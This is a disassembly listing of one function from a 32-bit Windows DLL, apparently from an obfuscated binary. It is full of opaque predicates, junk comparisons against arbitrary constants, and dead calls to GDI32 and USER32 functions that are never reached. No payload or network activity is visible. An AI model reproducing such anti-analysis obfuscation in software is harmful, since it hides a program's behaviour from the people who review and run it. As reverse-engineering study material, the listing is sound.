jle 0x10019ca9
mov dword [ebp - 0x674], 1
jmp 0x10019cb0
and dword [ebp - 0x674], 0
push 2
lea ecx, [ebp - 0x7a0]
call fcn.1000195c
mov ecx, dword [ebp - 0x674]
cmp ecx, dword [eax]
jge 0x10019cd3
mov dword [ebp - 0x67c], 1
jmp 0x10019cda
and dword [ebp - 0x67c], 0
mov eax, dword [ebp - 0x67c]
add eax, 0xdfe0
cmp dword [ebp - 0xe4], eax
jge 0x10019cf9
mov dword [ebp - 0x684], 1
jmp 0x10019d00
and dword [ebp - 0x684], 0
push 2
lea ecx, [ebp - 0x7a0]
call fcn.1000195c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x684]
je 0x10019d23
mov dword [ebp - 0x68c], 1
jmp 0x10019d2a
and dword [ebp - 0x68c], 0
cmp dword [ebp - 0x68c], 0x9842
jl 0x10019d48
mov eax, 0x62b56095
test eax, eax
jne 0x10019d48
and dword [ebp - 0x694], 0
jmp 0x10019d52
mov dword [ebp - 0x694], 1
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x694]
mov dword [ebp + eax - 0xe00], ecx
mov dword [ebp - 0xe4], 0
jmp 0x10019d7e
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0xb
je 0x10019e22
mov dword [ebp - 0xb48], 0xb03c
mov dword [ebp - 0xb44], 0xb03c
mov dword [ebp - 0xb40], 0xb03c
mov dword [ebp - 0xb3c], 0xb03c
push 0
lea ecx, [ebp - 0x814]
call fcn.1000195c
cmp dword [eax], 0
je 0x10019dc7
jmp 0x10019e22
mov dword [ebp - 0xec], 0
jmp 0x10019de0
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 1
jg 0x10019e1d
mov dword [ebp - 0x69c], 8
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xb48]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xb48], eax
mov eax, dword [ebp - 0x69c]
dec eax
mov dword [ebp - 0x69c], eax
jmp 0x10019dd3
jmp 0x10019d71
jmp 0x10019b3e
mov byte [ebp - 0x95], 0
movzx eax, byte [ebp - 0x95]
test eax, eax
je 0x10019e4b
push 0x2176
push 0
push 0x1e0f
call dword [sym.imp.GDI32.dll_Polygon]
mov byte [ebp - 4], 0x4b
lea ecx, [ebp - 0x7a0]
call fcn.10001940
jmp 0x10019aa7
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x814]
call fcn.10001940
mov eax, dword [ebp - 0x9d8]
mov dword [ebp - 0x83c], eax
push dword [ebp - 0x83c]
push dword [ebp - 0x840]
call dword [0x10072f84]
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x34], 0xac204e2
mov dword [ebp - 0xf4], 0x48b08158
mov dword [ebp - 0x398], 0x6e3e45bb
mov dword [ebp - 0xfc], 9
mov dword [ebp - 0x70c], 0xfffffffd
mov dword [ebp - 0x860], 0xfffffffd
mov dword [ebp - 0x310], 0
jmp 0x10019ee4
mov eax, dword [ebp - 0x310]
inc eax
mov dword [ebp - 0x310], eax
cmp dword [ebp - 0x310], 3
jge 0x10019f00
mov eax, dword [ebp - 0x310]
mov dword [ebp + eax*4 - 0xa9c], 0x6436
jmp 0x10019ed7
mov dword [ebp - 0x34], 0
jmp 0x10019f10
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff5
jg 0x10019fa0
push 2
lea ecx, [ebp - 0xb20]
call fcn.100018bd
mov dword [ebp - 4], 0x4d
mov dword [ebp - 0x318], 0
jmp 0x10019f47
mov eax, dword [ebp - 0x318]
inc eax
mov dword [ebp - 0x318], eax
cmp dword [ebp - 0x318], 2
jge 0x10019f69
push dword [ebp - 0x318]
lea ecx, [ebp - 0xb20]
call fcn.1000195c
mov dword [eax], 0x29bf390
jmp 0x10019f3a
push 0
lea ecx, [ebp - 0xb20]
call fcn.1000195c
cmp dword [eax], 0
je 0x10019f8c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb20]
call fcn.10001940
jmp 0x10019fa0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb20]
call fcn.10001940
jmp 0x10019f09
cmp dword [ebp - 0x34], 0xa3888451
jae 0x10019fb5
mov dword [ebp - 0x848], 1
jmp 0x10019fbc
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc88], eax
mov eax, dword [ebp - 0x34]
neg eax
mov dword [ebp - 0xf4], eax
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xd9c], eax
cmp dword [ebp - 0xf4], 0
je 0x10019ffa
cmp dword [ebp - 0xf4], 0
je 0x10019ffa
mov dword [ebp - 0x6a4], 1
jmp 0x1001a001
and dword [ebp - 0x6a4], 0
mov eax, dword [ebp - 0x398]
cmp dword [ebp - 0x6a4], eax
jg 0x1001a01b
mov dword [ebp - 0x6ac], 1
jmp 0x1001a022
and dword [ebp - 0x6ac], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x6ac], eax
jne 0x1001a039
mov dword [ebp - 0x850], 1
jmp 0x1001a040
and dword [ebp - 0x850], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa9c]
mov dword [ebp - 0xc90], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0xa9c], 0
je 0x1001a425
or dword [ebp - 0xbd0], 0xffffffff
or dword [ebp - 0xbcc], 0xffffffff
or dword [ebp - 0xbc8], 0xffffffff
or dword [ebp - 0xbc4], 0xffffffff
lea ecx, [ebp - 0x3c5]
call fcn.1000196b
push eax
lea eax, [ebp - 0xbc0]
push eax
lea eax, [ebp - 0xbd0]
push eax
lea ecx, [ebp - 0xe74]
call fcn.1000196e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3d8]
call fcn.1000191a
mov dword [ebp - 4], 0x4e
mov dword [ebp - 0x744], 0xc39b9878
push 1
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
mov eax, dword [eax]
dec eax
mov dword [ebp - 0x34], eax
push 1
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
cmp dword [eax], 0xfffa
jb 0x1001a0fc
mov dword [ebp - 0x6b4], 1
jmp 0x1001a103
and dword [ebp - 0x6b4], 0
cmp dword [ebp - 0x6b4], 0
je 0x1001a127
push 1
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
cmp dword [eax], 0
jne 0x1001a127
and dword [ebp - 0x6bc], 0
jmp 0x1001a131
mov dword [ebp - 0x6bc], 1
cmp dword [ebp - 0x6bc], 0x6bc5
je 0x1001a149
mov dword [ebp - 0x6c4], 1
jmp 0x1001a150
and dword [ebp - 0x6c4], 0
cmp dword [ebp - 0x6c4], 0xbc79a46b
je 0x1001a168
mov dword [ebp - 0x6cc], 1
jmp 0x1001a16f
and dword [ebp - 0x6cc], 0
mov eax, dword [ebp - 0x6cc]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
cmp eax, dword [ebp - 0x398]
jg 0x1001a18f
mov dword [ebp - 0x6d4], 1
jmp 0x1001a196
and dword [ebp - 0x6d4], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x6d4], eax
jg 0x1001a1b0
mov dword [ebp - 0x6dc], 1
jmp 0x1001a1b7
and dword [ebp - 0x6dc], 0
cmp dword [ebp - 0x6dc], 0xffffffff
jg 0x1001a1cc
mov dword [ebp - 0x6e4], 1
jmp 0x1001a1d3
and dword [ebp - 0x6e4], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa9c]
cmp dword [ebp - 0x6e4], eax
jle 0x1001a1f4
mov dword [ebp - 0x6ec], 1
jmp 0x1001a1fb
and dword [ebp - 0x6ec], 0
push 1
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
mov ecx, dword [ebp - 0x6ec]
cmp ecx, dword [eax]
jl 0x1001a21e
mov dword [ebp - 0x6f4], 1
jmp 0x1001a225
and dword [ebp - 0x6f4], 0
mov eax, dword [ebp - 0xfc]
cmp dword [ebp - 0x6f4], eax
jle 0x1001a23f
mov dword [ebp - 0x6fc], 1
jmp 0x1001a246
and dword [ebp - 0x6fc], 0
cmp dword [ebp - 0x6fc], 0x20e9
jne 0x1001a25e
mov dword [ebp - 0x704], 1
jmp 0x1001a265
and dword [ebp - 0x704], 0
mov eax, dword [ebp - 0x704]
mov dword [ebp - 0x70c], eax
cmp dword [ebp - 0x70c], 0
je 0x1001a2a1
cmp dword [ebp - 0xfc], 0
je 0x1001a2a1
push 2
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
cmp dword [eax], 0
je 0x1001a2a1
mov dword [ebp - 0x714], 1
jmp 0x1001a2a8
and dword [ebp - 0x714], 0
push 3
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
mov ecx, dword [ebp - 0x714]
cmp ecx, dword [eax]
jle 0x1001a2cb
mov dword [ebp - 0x71c], 1
jmp 0x1001a2d2
and dword [ebp - 0x71c], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x71c], eax
jl 0x1001a2ec
mov dword [ebp - 0x724], 1
jmp 0x1001a2f3
and dword [ebp - 0x724], 0
mov eax, dword [ebp - 0xf4]
cmp dword [ebp - 0x724], eax
jle 0x1001a30d
mov dword [ebp - 0x72c], 1
jmp 0x1001a314
and dword [ebp - 0x72c], 0
mov eax, dword [ebp - 0x72c]
add eax, 0x28a0fac3
jne 0x1001a32e
push 0
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
mov esi, dword [ebp - 0x398]
push 1
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
cmp dword [eax], esi
je 0x1001a351
mov dword [ebp - 0x734], 1
jmp 0x1001a358
and dword [ebp - 0x734], 0
push 0
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
mov ecx, dword [ebp - 0x734]
sub ecx, dword [eax]
cmp dword [ebp - 0xfc], ecx
je 0x1001a381
mov dword [ebp - 0x73c], 1
jmp 0x1001a388
and dword [ebp - 0x73c], 0
mov eax, dword [ebp - 0x73c]
mov dword [ebp - 0x744], eax
cmp dword [ebp - 0x744], 0
jl 0x1001a3b2
cmp dword [ebp - 0xfc], 0
je 0x1001a3b2
mov dword [ebp - 0x74c], 1
jmp 0x1001a3b9
and dword [ebp - 0x74c], 0
push 1
lea ecx, [ebp - 0x3d8]
call fcn.1000195c
mov ecx, dword [ebp - 0x74c]
cmp ecx, dword [eax]
jle 0x1001a3dc
mov dword [ebp - 0x858], 1
jmp 0x1001a3e3
and dword [ebp - 0x858], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0xa9c]
mov dword [ebp - 0xe10], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa9c]
mov dword [ebp - 0xc98], eax
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x860], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x3d8]
call fcn.10001940
jmp 0x1001a444
mov byte [ebp - 0xc0], 0
movzx eax, byte [ebp - 0xc0]
test eax, eax
je 0x1001a444
push 0
push 0x159c
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov eax, dword [ebp - 0x868]
jmp 0x1001a44e
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret